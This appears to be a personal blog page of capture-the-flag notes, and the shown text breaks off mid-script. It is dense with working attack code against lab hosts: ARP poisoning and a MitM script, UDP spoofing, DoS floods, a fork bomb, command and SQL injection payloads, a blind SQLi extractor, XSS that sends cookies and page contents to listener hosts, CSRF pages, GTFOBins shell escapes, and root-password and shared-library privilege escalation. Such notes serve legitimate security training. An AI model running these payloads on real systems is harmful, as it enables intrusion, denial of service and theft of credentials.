Hello Navi

Tech, Security & Personal Notes

scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 1 - basic connect
nc 10.0.0.2 31337

# 2 - TCP half-close: need -N to send EOF after stdin closes
nc -N 10.0.0.2 31337

# 3 - listen
nc -l -p 31337

# 4 - ping sweep /24 + connect
for i in $(seq 256); do ping -w 1 -c 1 10.0.0.$i & done
nc 10.0.0.110 31337

# 5 - nmap /16 subnet scan
nmap -v -n -Pn -p 31337 --min-rate 10000 --open 10.0.0.0/16
nc 10.0.246.42 31337

# 6 - session replay
curl "http://10.0.0.2/flag?user=admin" \
--cookie "session=eyJ1c2VyIjoiYWRtaW4ifQ.abFrwg.CMU_GnBUwk4-UoCFYjokaWxhgDI"

# 7 - IP takeover: claim 10.0.0.3 and listen
ip addr add 10.0.0.3/24 dev eth0
ip link set eth0 up
nc -l -p 31337

firewall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1 - drop incoming on port
iptables -A INPUT -p tcp --dport 31337 -j DROP

# 2 - drop from specific source
iptables -I INPUT -s 10.0.0.3 -p tcp --dport 31337 -j DROP

# 3 - accept outgoing
iptables -I OUTPUT -p tcp --dport 31337 -j ACCEPT

# 4 - forward drop (specific src)
iptables -I FORWARD -s 10.0.0.3 -d 10.0.0.2 -p tcp --dport 31337 -j DROP

# 5 - forward drop (all)
iptables -I FORWARD -p tcp --dport 31337 -j DROP

DoS

connection queue exhaustion

server uses listen(1) (single backlog), exhaust it with concurrent connections:

1
nc 10.0.0.2 31337 & nc 10.0.0.2 31337 & nc 10.0.0.2 31337 &

fd exhaustion

1
for i in {1..500}; do exec {fd}<>/dev/tcp/10.0.0.2/31337 2>/dev/null; done

forking server DoS

server uses ForkingTCPServer, client prints flag on timeout. flood with ghost connections that hold sockets open:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket, threading, time

def ghost_connection():
while True:
try:
with socket.socket() as s:
s.settimeout(0.1)
s.connect(("10.0.0.2", 31337))
s.settimeout(5.0)
s.recv(1) # hold connection open
except Exception:
pass

for _ in range(100):
threading.Thread(target=ghost_connection, daemon=True).start()
while True:
time.sleep(1)

scapy

CTF 环境中主机通过 veth pair 连接到 Linux Bridge(二层交换机)。Bridge 会学习 Source MAC 并记录到 CAM 表,全零 MAC 或非法多播地址会被内核作为 Martian MAC 直接丢弃。必须使用真实 MAC 地址才能让包通过。

raw packets

1
2
3
4
5
6
7
8
9
10
from scapy.all import send, sendp, Ether, IP, TCP

# L2 - ethernet frame (must use real source MAC)
sendp(Ether(src="aa:98:41:69:f7:79", dst="ff:ff:ff:ff:ff:ff", type=0xFFFF), iface="eth0")

# L3 - IP packet with custom protocol
send(IP(dst="10.0.0.2", proto=0xff), iface="eth0")

# L4 - TCP with specific fields
send(IP(dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF"), iface="eth0")

TCP handshake

Scapy 绕过系统传输层协议栈直接发包。当目标返回 SYN-ACK 时,内核发现没有对应的 socket 记录,会按 RFC 规范自动发送 RST 掐断连接。需要用 iptables 在 Netfilter 层拦截内核的 RST:

1
iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 10.0.0.1 -d 10.0.0.2 --dport 31337 -j DROP

three-way handshake with scapy:

1
2
3
4
5
6
7
8
9
10
11
12
13
from scapy.all import send, sr1, IP, TCP

ip = IP(dst="10.0.0.2")

# SYN
syn_ack = sr1(ip / TCP(sport=31337, dport=31337, seq=31337, flags="S"), timeout=2)

# ACK
send(ip / TCP(
sport=31337, dport=31337, flags="A",
seq=syn_ack[TCP].ack,
ack=syn_ack[TCP].seq + 1,
))

UDP

1
2
3
4
from scapy.all import send, sr1, Raw, IP, UDP

ans = sr1(IP(dst="10.0.0.2") / UDP(sport=31337, dport=31337) / Raw(b"Hello, World!\n"))
print(ans[Raw].load)

UDP spoofing

common pattern: server(10.0.0.3:31337) responds NONE to ACTION?, client(10.0.0.2) polls server. spoof a FLAG response from port 31337 to make client print the flag.

spoofing 1 - client on fixed port 31338, expects b"FLAG":

1
2
3
from scapy.all import sr1, Raw, IP, UDP
ans = sr1(IP(src="10.0.0.1", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(b"FLAG"))
print(ans[Raw].load)

spoofing 2 - client expects FLAG:host:port, sends flag back to that address:

1
2
3
from scapy.all import sr1, Raw, IP, UDP
ans = sr1(IP(src="10.0.0.1", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(b"FLAG:10.0.0.1:31337"))
print(ans[Raw].load)

spoofing 3 - client on random port, scapy sr1 can’t match the reply. brute-force all ports with raw socket:

1
2
3
4
5
6
7
8
9
10
11
import socket, sys

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("0.0.0.0", 31337))
s.settimeout(3.0)

for port in range(1, 65535):
s.sendto(b"FLAG:10.0.0.1:31337", ("10.0.0.2", port))

data, addr = s.recvfrom(1024)
print(f"[+] Flag: {data.decode().strip()}")

spoofing 4 - client also checks peer_host == "10.0.0.3", so our source must be 10.0.0.3. but the flag reply goes to FLAG:host:port which we control. use nc listener in background on the same session:

1
2
3
nc -u -lvnp 4444 > tmp &
python brute.py
cat tmp

ARP

send crafted ARP IS_AT response:

1
2
3
4
5
6
7
from scapy.all import sendp, Ether, ARP

sendp(
Ether(dst="42:42:42:42:42:42") /
ARP(op=2, psrc="10.0.0.42", hwsrc="42:42:42:42:42:42", pdst="10.0.0.2", hwdst="42:42:42:42:42:42"),
iface="eth0"
)

ARP poisoning (intercept)

client(10.0.0.2) sends flag to server(10.0.0.3:31337). poison client’s ARP cache to redirect traffic to us:

1
2
3
4
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -d 10.0.0.3 -p tcp --dport 31337 -j REDIRECT --to-ports 31337
nc -lvnp 31337 > tmp &
python poison.py

pdst is critical – without it, Scapy defaults to 0.0.0.0 and the target kernel silently drops the packet.

1
2
3
4
5
6
7
8
9
10
11
12
13
import time
from scapy.all import sendp, Ether, ARP

packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2,
psrc="10.0.0.3",
hwsrc="42:8a:e0:32:96:95", # attacker MAC
pdst="10.0.0.2", # must set!
)

while True:
sendp(packet, iface="eth0", verbose=False)
time.sleep(1)

MitM

client authenticates with server via shared secret, then sends echo command. server also supports flag command. intercept and rewrite echo -> flag.

challenge source (key logic):

1
2
3
4
5
# client gets secret out-of-band, sends hex-encoded to server
# then sends "echo" command + data, expects echo back

# server: command == "echo" -> echo data back
# command == "flag" -> send flag

solution: ARP spoof both sides with arp_mitm, sniff TCP traffic, replace echo payload with flag, forward everything else:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import socket, threading, time
from scapy.all import Raw, get_if_hwaddr, sendp, sniff, IP, TCP, Ether
from scapy.layers.l2 import arp_mitm, getmacbyip

IP_CLIENT, IP_SERVER = "10.0.0.2", "10.0.0.3"
INTERFACE = "eth0"

MAC_CLIENT = getmacbyip(IP_CLIENT)
MAC_SERVER = getmacbyip(IP_SERVER)
MAC_ATTACKER = get_if_hwaddr(INTERFACE)

def arp_spoofer():
while True:
arp_mitm(
ip1=IP_CLIENT, ip2=IP_SERVER,
mac1=MAC_CLIENT, mac2=MAC_SERVER,
broadcast=True, target_mac=MAC_ATTACKER, iface=INTERFACE,
)
time.sleep(1)

def process_packet(pkt):
if not (pkt.haslayer(IP) and pkt.haslayer(TCP)):
return
ip_pkt = pkt[IP].copy()

# client -> server: rewrite "echo" to "flag"
if ip_pkt.src == IP_CLIENT and ip_pkt.dst == IP_SERVER and ip_pkt[TCP].dport == 31337:
if ip_pkt.haslayer(Raw) and ip_pkt[Raw].load == b"echo":
ip_pkt[Raw].load = b"flag"
del ip_pkt.len, ip_pkt.chksum, ip_pkt[TCP].chksum
sendp(Ether(dst=MAC_SERVER) / ip_pkt, iface=INTERFACE, verbose=False)

# server -> client: forward (and print flag)
elif ip_pkt.src == IP_SERVER and ip_pkt.dst == IP_CLIENT and ip_pkt[TCP].sport == 31337:
if ip_pkt.haslayer(Raw):
print(f"[+] Server: {ip_pkt[Raw].load.decode('utf-8', errors='ignore')}")
sendp(Ether(dst=MAC_CLIENT) / ip_pkt, iface=INTERFACE, verbose=False)

threading.Thread(target=arp_spoofer, daemon=True).start()
time.sleep(2)
sniff(filter="tcp port 31337", prn=process_packet, store=0)

path traversal

--path-as-is prevents curl from normalizing ../ sequences.

1
2
3
4
5
# path-traversal-1
curl --path-as-is "http://challenge.localhost:80/filesystem/../../../../../../../flag"

# path-traversal-2
curl --path-as-is "http://challenge.localhost:80/data/fortunes/../../../../../../flag"

command injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# cmdi 1 - semicolon
curl -G "http://challenge.localhost:80/serve" --data-urlencode "top-path=;cat /flag"

# cmdi 2 - ampersand
curl -G "http://challenge.localhost:80/objective" --data-urlencode "filepath=&cat /flag"

# cmdi 3 - quote escape + comment
curl -G "http://challenge.localhost:80/test" --data-urlencode "top-path='; cat /flag; #"

# cmdi 4 - space-separated injection
curl -G "http://challenge.localhost:80/stage" --data-urlencode "tzone=a cat /flag;"

# cmdi 5 - blind (no direct output), redirect to file
curl -G "http://challenge.localhost:80/activity" \
--data-urlencode "file-loc=; cat /flag > /tmp/flag_out"
cat /tmp/flag_out

# cmdi 6 - newline injection
curl "http://challenge.localhost:80/exercise?root=%0acat%20/flag"

authentication bypass

1
2
3
4
5
# query parameter
curl "http://challenge.localhost:80/?session_user=admin"

# cookie
curl "http://challenge.localhost:80/" --cookie "session_user=admin"

sqli 1 - auth bypass

two approaches: comment out password check, or OR 1=1:

1
2
3
4
5
curl -L -c /tmp/cookie.txt -b /tmp/cookie.txt \
-d "uid=admin' --" -d "pin=1" "http://challenge.localhost:80/logon"
# or
curl -L -c /tmp/cookie.txt -b /tmp/cookie.txt \
-d "uid=admin" -d "pin=1 or 1=1" "http://challenge.localhost:80/logon"

sqli 2 - auth bypass

1
2
curl -L -c /tmp/cookie.txt -b /tmp/cookie.txt \
-d "account-name=admin" -d "pass=1' or 1=1 --" "http://challenge.localhost:80/portal"

sqli 3 - UNION-based extraction

1
SELECT username FROM users WHERE username LIKE """" UNION SELECT password FROM users --"
1
2
curl -G "http://challenge.localhost:80/" \
--data-urlencode 'query=" UNION SELECT password FROM users --'

sqli 4 - table enumeration + UNION

enumerate table names first, then extract:

1
2
3
4
5
6
7
8
# find table name
curl -G "http://challenge.localhost:80/" \
--data-urlencode 'query=" UNION SELECT name FROM sqlite_master WHERE type="table" --'
# -> users_8141651746

# extract password from discovered table
curl -G "http://challenge.localhost:80/" \
--data-urlencode 'query=" UNION SELECT password FROM users_8141651746 --'

sqli 5 - blind SQLi

vulnerable query uses f-string interpolation:

1
2
query = f"SELECT rowid, * FROM users WHERE username = '{username}' AND password = '{ password }'"
user = db.execute(query).fetchone()

admin’s password is the flag. no direct output – need blind extraction.

naive attempt fails because AND has higher precedence than OR:

1
2
3
# password=' or substr(password,1,1)='p' --
# parses as: (username='admin' AND password='') OR (substr(...)='p')
# this matches ANY user when substr is true, not just admin

blind extraction script – check one char at a time, OR username='admin' AND substr(...) ensures we only match admin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
import string
import requests

url = "http://challenge.localhost:80/"
charset = string.printable.strip()

def blind_sql():
result = ""
for pos in range(1, 60):
for char in charset:
payload = f"' OR username='admin' AND substr(password,{pos},1)='{char}' --"
resp = requests.post(url, data={"username": "admin", "password": payload}, timeout=5)
if resp.status_code != 403 and resp.status_code != 500:
result += char
print(f" [+] Current extracted: {result}")
break
return result

if __name__ == "__main__":
print(f" [+] Extracted: {blind_sql()}")

stored xss

xss 1

1
curl -X POST "http://challenge.localhost:80/" -d "content=<input type='text'>"

xss 2

inject <script> via stored post, then trigger with /challenge/victim (headless Firefox).

1
2
curl -X POST "http://challenge.localhost:80/" -d 'content="><script>alert(1)</script>'
/challenge/victim

reflected xss

xss 3

msg is reflected directly into the page body:

1
2
The message:
{flask.request.args.get("msg", "(none)")}
1
/challenge/victim "http://challenge.localhost:80/?msg=<script>alert(1)</script>"

xss 4

msg is reflected inside a <textarea>, break out first:

1
<textarea name=msg>{flask.request.args.get("msg", "Type your message here!")}</textarea>
1
/challenge/victim "http://challenge.localhost:80/?msg=</textarea><script>alert(1)</script><textarea>"

xss 5 - stored XSS + CSRF (GET publish)

admin’s unpublished draft contains the flag. published posts render raw HTML. /publish is GET.

1
2
3
@app.route("/publish", methods=["GET"])
def challenge_publish():
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])

login as hacker, store XSS that makes admin’s browser call /publish, which publishes admin’s flag draft:

1
2
3
4
5
curl -c cookie.txt -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337"
curl -b cookie.txt -X POST http://challenge.localhost:80/draft \
-d "content=<script>fetch('/publish')</script>&publish=on"
/challenge/victim
curl -b cookie.txt "http://challenge.localhost:80/"

xss 6 - stored XSS + CSRF (POST publish)

same as xss 5, but /publish is now POST:

1
2
3
@app.route("/publish", methods=["POST"])
def challenge_publish():
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [username])
1
2
3
4
5
curl -c cookie.txt -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337"
curl -b cookie.txt -X POST http://challenge.localhost:80/draft \
-d "content=<script>fetch('/publish', {method: 'POST'})</script>&publish=on"
/challenge/victim
curl -b cookie.txt "http://challenge.localhost:80/"

key differences from xss 5/6:

  • auth is cookie-based: auth=username|password (not flask.session)
  • admin password = flag[-20:] (truncated flag)
  • admin is blocked from posting/publishing
  • drafts are visible to their own author
1
2
3
4
5
6
7
8
9
response.set_cookie("auth", username + "|" + password)

# admin blocked
if username == "admin":
flask.abort(400, "pwnpost no longer supports admin posting due to rampant flag disclosure")

# drafts visible to author
elif post["author"] == username:
page += "<b>YOUR DRAFT POST:</b> " + post["content"] + "<hr>\n"

since admin can’t publish, steal the cookie instead and log in as admin to view the draft:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. login as hacker, store XSS that exfiltrates document.cookie
curl -c cookie.txt -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337"
curl -b cookie.txt -X POST http://challenge.localhost:80/draft \
-d "content=<script>fetch('http://localhost:1337/', {method: 'POST', body: document.cookie})</script>&publish=on"

# 2. listen for stolen cookie
nc -l -p 1337 &

# 3. trigger victim (admin) to visit the page
/challenge/victim
# received: auth=admin|RT.dJDO1YDL4cjM1gzW}

# 4. use stolen cookie to view as admin
curl --cookie "auth=admin|RT.dJDO1YDL4cjM1gzW}" "http://challenge.localhost:80/"

CSRF 1

In this level, the application has a /publish route that uses a GET request to change the state of the application (publishing drafts). Since GET requests should ideally be idempotent and not change state, this is a classic CSRF vulnerability.

Analysis

The server-side code for the /publish route:

1
2
3
4
5
6
7
8
@app.route("/publish", methods=["GET"])
def challenge_publish():
if "username" not in flask.session:
flask.abort(403, "Log in first!")

# Vulnerability: State change via GET request with no CSRF protection
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])
return flask.redirect("/")

Exploit

We can host a simple HTML page that redirects the victim (the admin) to the /publish endpoint. When the admin visits our page, their browser will automatically include their session cookies when following the redirect to challenge.localhost.

Payload (index.html):

1
2
3
<script>
window.location.href = "http://challenge.localhost:80/publish";
</script>

Execution:

  1. Host the payload: python3 -m http.server 1337
  2. Trigger the victim to visit your server: /challenge/victim
  3. The admin’s drafts are now published. Fetch the flag:
    1
    2
    curl -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337"
    curl "http://challenge.localhost:80/"

CSRF Level 2: POST-based CSRF

The /publish route now requires a POST request. While this prevents simple link-based triggers, it doesn’t stop CSRF if there are no CSRF tokens or origin checks.

Exploit

We use an HTML form that automatically submits itself via JavaScript to perform the POST request on behalf of the admin.

Payload (index.html):

1
2
3
4
5
6
7
8
<form
id="csrf-form"
action="http://challenge.localhost:80/publish"
method="POST"
></form>
<script>
document.getElementById("csrf-form").submit();
</script>

Execution:

  1. Host the payload on port 1337.
  2. Run /challenge/victim.
  3. Login and check the published posts to find the flag.

CSRF Level 3: Reflected XSS

This level introduces a reflected XSS vulnerability in the /ephemeral route. The msg parameter is rendered directly into the page without sanitization.

Analysis

1
2
3
4
5
6
7
8
9
@app.route("/ephemeral", methods=["GET"])
def challenge_ephemeral():
return f"""
<html><body>
<h1>You have received an ephemeral message!</h1>
The message: {flask.request.args.get("msg", "(none)")}
<hr><form>Craft an ephemeral message:<input type=text name=msg action=/ephemeral><input type=submit value=Submit></form>
</body></html>
"""

Exploit

We can inject a script tag through the msg parameter.

Payload:

1
2
3
4
5
6
7
<script>
let xss_payload = "<script>alert('PWNED')</s" + "cript>";
let target_url =
"http://challenge.localhost:80/ephemeral?msg=" +
encodeURIComponent(xss_payload);
window.location.href = target_url;
</script>

Building on the previous level, we use the XSS vulnerability to steal the admin’s session cookie.

Exploit

We inject a script that reads document.cookie and sends it to our attacker-controlled listener.

Payload (index.html):

1
2
3
4
5
6
7
8
9
<script>
let xss_payload =
"<script>fetch('http://hacker.localhost:1338/?stolen_cookie=' + encodeURIComponent(document.cookie));</s" +
"cript>";
let target_url =
"http://challenge.localhost:80/ephemeral?msg=" +
encodeURIComponent(xss_payload);
window.location.href = target_url;
</script>

Execution:

  1. Listen for the incoming cookie: nc -l -p 1338
  2. Host the payload and trigger the victim.
  3. Once the cookie is captured (e.g., auth=admin|...), use it to access the flag:
    1
    curl --cookie "auth=admin|..." "http://challenge.localhost:80/"

CSRF Level 5: Data Exfiltration via XSS

In this final level, we use XSS to fetch the content of the admin’s home page (where the flag is displayed) and send the entire HTML back to our listener.

Exploit

The payload performs an internal fetch('/') while the admin is authenticated, then POSTs the response body to the attacker.

Payload (index.html):

1
2
3
4
5
6
7
8
9
<script>
let stage2_xss =
"<script>fetch('/').then(res => res.text()).then(html => fetch('http://hacker.localhost:1338', {method: 'POST', body: html}))</s" +
"cript>";
let target_url =
"http://challenge.localhost:80/ephemeral?msg=" +
encodeURIComponent(stage2_xss);
window.location.href = target_url;
</script>

Execution:

  1. Listen for the POST data: nc -l -p 1338
  2. Host the payload and trigger the victim.
  3. The flag will be contained within the HTML received by Netcat.

1. Fork Bomb

A classic bash fork bomb that recursively calls itself to exhaust system resources.

1
2
3
4
myfunc () {
myfunc | myfunc
}
myfunc

2. Web Security

2.1 Basic Requests

Using netcat and curl to perform simple GET requests.

1
2
3
4
5
# Manual GET request via nc
printf "GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n" | nc localhost 80

# Simple GET via curl
curl -X GET "http://localhost/"

2.2 Custom Headers

Setting the Host header for different tasks.

1
2
3
4
5
6
# Task: Host: root-me.org
curl -X GET http://localhost/task -H "Host: root-me.org"

# Task: Host: net-force.nl:80
curl -v -X GET http://localhost/gate -H "Host: net-force.nl:80"
printf "GET /gate HTTP/1.1\r\nHost: net-force.nl:80\r\nConnection: close\r\n\r\n" | nc localhost 80

2.3 URL Encoding & Query Parameters

Handling spaces and multiple parameters.

1
2
3
4
5
6
7
# URL Encoded Path: /progress%20request%20qualify
printf "%b" "GET /progress%20request%20qualify HTTP/1.1\r\nHost: challenge.localhost:80\r\nConnection: close\r\n\r\n" | nc localhost 80

# Query Strings
printf "%b" "GET /mission?hash=crwtzkzq HTTP/1.1\r\nHost: challenge.localhost:80\r\nConnection: close\r\n\r\n" | nc localhost 80
printf "%b" "GET /request?access=ejnskvxx&token=rmxwpdzo&signature=fhhmtasz HTTP/1.1\r\nHost: challenge.localhost:80\r\nConnection: close\r\n\r\n" | nc localhost 80
curl -X GET "http://localhost/hack?pass=fjawumxb&security_token=yaanpzkj&security=xufooqmp" -H "Host: challenge.localhost:80"

2.4 POST Requests

Submitting data via application/x-www-form-urlencoded.

1
2
3
4
5
6
7
8
# Manual POST via nc
printf "%b" "POST /complete HTTP/1.1\r\nHost: challenge.localhost:80\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 22\r\nConnection: close\r\n\r\nchallenge_key=ocgzmivl" | nc localhost 80

# POST via curl
curl -X POST "http://localhost/hack" -H "Host: challenge.localhost:80" -d "token=ieovmiim&authcode=dhcrcdvp&access=cbmupwsi"

# Complex POST via nc
printf "%b" "POST /verify HTTP/1.1\r\nHost: challenge.localhost:80\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 74\r\nConnection: close\r\n\r\nsecure_key=rxwoveec&security=yyiezfbi&pass=oufnsrdp&challenge_key=menvugmn" | nc localhost 80

2.5 Cookies & State Management

Managing session data.

1
2
3
4
5
# Save and send cookies with curl
curl -c cookies.txt -b cookies.txt -L http://localhost/

# Manual Cookie Header
printf "%b" "GET / HTTP/1.1\r\nHost: localhost\r\nCookie: cookie=6136b40d5c4af043f373b9f786ce3d30\r\nConnection: close\r\n\r\n" | nc localhost 80

2.6 Redirects

Following HTTP 302 redirects.

1
2
3
4
5
# Manual handling (checking Location header)
printf "%b" "GET / HTTP/1.1\r\nHost: challenge.localhost:80\r\nConnection: close\r\n\r\n" | nc localhost 80

# Automated redirect following
curl -L -X GET "http://localhost/" -H "Host: challenge.localhost:80"

2.7 Client-Side Redirection & XSS-style Exfiltration

1
2
3
4
5
6
7
8
// Simple JS redirect
echo '<script>window.location = "/check";</script>' > ~/public_html/solve.html

// Data Exfiltration via URL
echo '<script src="/submit"></script><script>window.location="http://localhost:1337/?stolen="+flag;</script>' > ~/public_html/solve.html

// Exfiltration using Fetch
echo '<script>fetch("/gateway").then(r=>r.text()).then(d=>window.location="http://localhost:1337/?stolen="+d);</script>' > ~/public_html/solve.html

3. Program Misuse (GTFOBins)

Techniques for reading restricted files (like /flag) via unexpected program behavior.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Compressed formats
gzip -c /flag | gzip -d
bzip2 -c /flag | bzip2 -d
zip -c /flag | zip -d
tar -cO /flag | tar -xO

# Archive tools
ar r pwned.a /flag && ar p pwned.a
echo /flag | cpio -o

# Shell/Execution wrappers
env /bin/sh -p
nice /bin/sh -p
timeout 0 /bin/sh -p
setarch $(arch) /bin/sh -p
socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0'

# Text processing / viewing
find /flag -exec cat {} \;
mawk '//' /flag
sed '' /flag
whiptail --textbox --scrolltext /flag 50 100
ed /flag # Use ',p' to print, 'q' to quit

# Language Interpreters
perl -ne print /flag
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
ruby -e 'puts File.read("/flag")'

# Miscellaneous
date -f /flag
dmesg -rF /flag
wc --files0-from /flag
gcc -x c -E /flag
as @/flag

# Network tools
nc -lp 1337 & wget --post-file=/flag http://127.0.0.1:1337/

3.1 Privilege Escalation Tricks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Changing permissions/ownership
chown $(id -un):$(id -gn) /flag
chmod 777 /flag

# Shadowing root password
cp /etc/passwd ./hack_passwd
sed -i 's/^root:x:/root::/' ./hack_passwd
mv ./hack_passwd /etc/passwd
su root

# Shared Library Injection
echo '#include <unistd.h>
void C_GetFunctionList() {}
void __attribute__((constructor)) init() {
execl("/bin/sh", "sh", "-p", NULL);
}' | gcc -w -fPIC -shared -o lib.so -x c -
/challenge/ssh-keygen -D ./lib.so

4. SQL Injection Basics

4.1 Simple Selects

1
2
3
4
5
6
-- Select all logs
SELECT * FROM logs;

-- Filter by ID/Tag
SELECT * FROM entries WHERE flag_tag = 1337;
SELECT resource FROM flags WHERE flag_tag != 1;

4.2 Pattern Matching & String Manipulation

1
2
3
4
5
6
7
8
-- LIKE operator
SELECT detail FROM payloads WHERE flag_tag LIKE "yep";

-- Substring matching
SELECT detail FROM items WHERE substr(detail, 1, 3) = 'pwn';

-- Complex substring extraction (brute-forcing length)
SELECT substr(secret, 1, 5), substr(secret, 6, 5) FROM items;

4.3 Database Schema Exploration

1
2
3
4
5
-- List tables in SQLite
SELECT name FROM sqlite_master WHERE type='table';

-- Querying found tables
SELECT flag FROM UgRKNxaq;

A secret flag is safely hidden away within client-side scripts. We were told JavaScript is an insecure medium for secret storage, so we decided to use C++ instead.

Analysis

I use radare2 BTW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ r2 flag.wasm
[0x0000019a]> iE
[Exports]
# ... key functions ...
137 0x0000a343 0x0000a343 GLOBAL FUNC 12 CompareFlag
138 0x0000a34f 0x0000a34f GLOBAL FUNC 17 CompareFlagIndex

[0x0000019a]> iz
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
92 0x000098d9 0x000098d9 24 25 data ascii OrpheanBeholderScryDoubt
96 0x00009979 0x00009979 64 65 data ascii ./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
97 0x000099ba 0x000099ba 60 61 data ascii $2b$12$uAfq9EI1EoIC316VgA3azeOyogkKzG4zz2kF8M.l.D4h4nT4WsidK
98 0x000099f7 0x000099f7 60 61 data ascii $2b$12$NmhDm/LZzjanlv6xuHCsVe8JJNlvEb3uYUEQ03abPIlCuTE6qtrT.
# ... 40 hashes total ...

Obviously the flag is stored as a series of bcrypt hashes, which are all prefixed with $2b$12$.

Cracking the Flag

If we test single characters, we can see that the flag start with 2, but the next character is unknown.

Since the hashes are cumulative, each one validates the entire flag prefix up to that point. We can recover the flag by brute-forcing each character in sequence and appending it to the previously discovered string.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import bcrypt
import string

hashes = [
b"$2b$12$uAfq9EI1EoIC316VgA3azeOyogkKzG4zz2kF8M.l.D4h4nT4WsidK",
b"$2b$12$NmhDm/LZzjanlv6xuHCsVe8JJNlvEb3uYUEQ03abPIlCuTE6qtrT.",
b"$2b$12$8OhK6ZPoSuBujRxR3pz4g.vp6LvTqJe/NJZZHTHtOPkdIbDb1GDKS",
b"$2b$12$PhFiPd28yDeXdZaJfUDjTOiAUQtpBJ2AjD5pFIG7CtUXQtWECGpre",
b"$2b$12$DfQJicmUWZQ0EVGKxdQEN.yCj3s4o6GyMraqt514d3DRkAqH8PYq6",
b"$2b$12$JikQohCsuFN6DO7q9ZHCTeHuzL3/Hb3diMYJsUGgAI4AH64x9jtyO",
b"$2b$12$4C2jJ0QxCKdqyrBTIhqEGeeq1IMOZJs7DllwqtMWbp.rM7BPsbDwG",
b"$2b$12$FI45z3VbyCC4Bb5rVJsLb./Od6aSnT8tHIPkwmZCgGNNrXwpJqkO6",
b"$2b$12$tFkj/QdzBVsk8XjjjH91eefYY/lx6YX/4lnB9T/GKSIvpmx7mEEG2",
b"$2b$12$Il.BDj/qxIkgROEZN4/Te.QJawuPW18MHU1hVQzNIC9SW7H.Mo9.2",
b"$2b$12$3UOGifrFe0iGGh4sSWx1JeB919LDApovzwbYIQqniIFVE3/mgEFkW",
b"$2b$12$5voYYJHxGJVy3ITneNhk/.XbcfOKDDnMHiS2CTri0ncFQ/jUgND.e",
b"$2b$12$cDvS2AqrJ72gvUP5wSnjSOqdsFIKcsGI863NxXgdedYzMV0YzOZmW",
b"$2b$12$pIcJfpN7L0SGQtA/4bcX.ewqrSkeUzCeq4mrjHCzhwQKB2LTc4tJe",
b"$2b$12$4xjImCcvXpgG.WFwjlryEONm4gFy3/O2VSCsrL1lX38f0XDPKc6Hm",
b"$2b$12$gIWlY5GubfJ1kIhMEO9GnuTbalD8aPc6ECdNIq.4Vjx6S38nKLG8S",
b"$2b$12$9UpsAlXYVpPw4B93u2WBm.Ve0JMqdkQ0wxvuAPqnXmtzjmvXm0hea",
b"$2b$12$QqTL8meoLdWMnipKwuRoC.d9ei6TU2ev1Ggu0VsC2gLGMfF7QWOPi",
b"$2b$12$8M.Z95IrSP64adu2LiOhzO4vhtmfjBx45Pp.FJsq4Tqe/t5GaPeA2",
b"$2b$12$GNWfLovpvpMcoK89QdZzt.u8XibRtwo0aFFnUSBcqs0SjocL6hgVS",
b"$2b$12$mLzTYglkEg3iqusfz8lOOuH548ezA.mgfr8pYI7cd3ozU8aPJBhAC",
b"$2b$12$6GTg.qAyDUQorM1BwcIXRe7Ab.L3ZXqJhI0xg2G.OtCVf5W1BH7zu",
b"$2b$12$Nxd1aKxcgV4s51dN5nc2puAtG8J6asT8vcvB0kfWhcfYp868nza7.",
b"$2b$12$Z2/4n8JEXI19ZFL7A4ojEOiSbfAeV3KZj5Nc0.Uu6sXG6KHvtPCLi",
b"$2b$12$AEiJfo2eTPnTCU.NL2jJeOifcw/TOAZaOLjMAPKEdfJmgdQy/WoYC",
b"$2b$12$8pA4oDi3uovODvOuf2GrteqltIOhDUH/AI07H1NrvCoA5AvL9vKJe",
b"$2b$12$Kke80penOJ8l7/EBoDZCWufdwdWju/Twb6.9DSm498.I922qNBfBK",
b"$2b$12$xOcqWzPSMN3VgbsmEmZbYe98NBK1Qxpp6fAZNYCEiU/Lw5vsbIOz.",
b"$2b$12$OnXeQsiQyBpIZzciVGSkUuBwcr62OoirL8Ebb9QczH7AAFdIsrbxi",
b"$2b$12$3c8V9ss5ATsQkkz0ZUg2T.x0qCBszvuetJPX.vm9XPgsGBwhedfhy",
